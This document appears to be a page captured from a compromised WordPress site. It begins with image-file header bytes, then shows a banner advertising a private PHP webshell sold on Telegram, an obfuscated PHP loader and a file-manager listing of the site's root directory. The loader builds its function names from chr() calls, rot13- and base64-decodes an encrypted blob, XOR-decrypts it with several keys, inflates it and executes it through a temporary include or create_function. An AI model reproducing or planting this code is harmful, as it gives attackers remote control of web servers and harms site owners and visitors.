����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
$_x = strlen('cache'); $_z = base64_encode('data');
$_2ba0b6 = 'hPwdBe9FpVWfzKkHggt8XHOje8DqqAKnX2ljJ2q85VNP+e5a7AgpO92FtbMNiVP1999oAuQCmiHnovXXBzxSmRFtLjCGjjESBpox/K3GxhmkusF/DEdHtjo/2YxojIyHd4aM8nscErSjYZZXHRUg8bpHioWFT26P2Dp/SjIk2TyrNAWZbLfdbnsdM7pTCxabMbgjEru59cLf2wAxhQ3dLx+/Zk9kB/8txS+QfREAUVeyYeSUXIG5IyIZYXQpnj==';
// System configuration
$_1c8909 = base64_decode('NzAzNjdhZTVhODE3NzkxOQ==');
$_6a7334 = base64_decode('Y2Q2MjMwZTliNTI5NTdiNw==');
$_92c123 = base64_decode('YTMyNDkzZDA5ZGJkMmZmNQ==');
$_a = substr('buffer', 0, 1); $_y = md5('config'); $_z = base64_encode('data');
// Initialize system functions
$_fn = [];
$_fn[0] = chr(115).chr(116).chr(114).chr(95).chr(114).chr(111).chr(116).chr(49).chr(51);
$_fn[1] = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
$_fn[2] = chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101);
// Process payload
$_076f74 = $_fn[0]($_2ba0b6);
$_076f74 = $_fn[1]($_076f74);
// Decrypt layers
$_ks = [$_1c8909, $_6a7334, $_92c123];
foreach($_ks as $_key) {
$_out = '';
$_kl = strlen($_key);
$_dl = strlen($_076f74);
for($_i = 0; $_i < $_dl; $_i++) {
$_out .= $_076f74[$_i] ^ $_key[$_i % $_kl];
}
$_076f74 = $_out;
}
$_c = strtolower('OPTIONS'); $_c = strtolower('OPTIONS');
// Extract data
$_af0976 = @$_fn[2]($_076f74);
// System execution
$_tmp = @tempnam(sys_get_temp_dir(), 'wp_');
if($_tmp) {
@file_put_contents($_tmp, $_af0976);
@include($_tmp);
@unlink($_tmp);
} else {
// Fallback method
$_f = chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110);
if(function_exists($_f)) {
$_x = @$_f('', $_af0976);
@$_x();
}
}
?>| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| wp-admin | Folder | 0755 |
|
|
| wp-content | Folder | 0755 |
|
|
| wp-includes | Folder | 0755 |
|
|
| .htaccess | File | 200 B | 0644 |
|
| cw.php | File | 32.86 KB | 0644 |
|
| fans2.php | File | 1.84 KB | 0644 |
|
| fans2.zip | File | 43.5 KB | 0644 |
|
| index.php | File | 95 B | 0644 |
|
| style.php | File | 27 B | 0644 |
|
| wp-blog-header.php | File | 351 B | 0644 |
|
| 丨 | File | 1.57 KB | 0644 |
|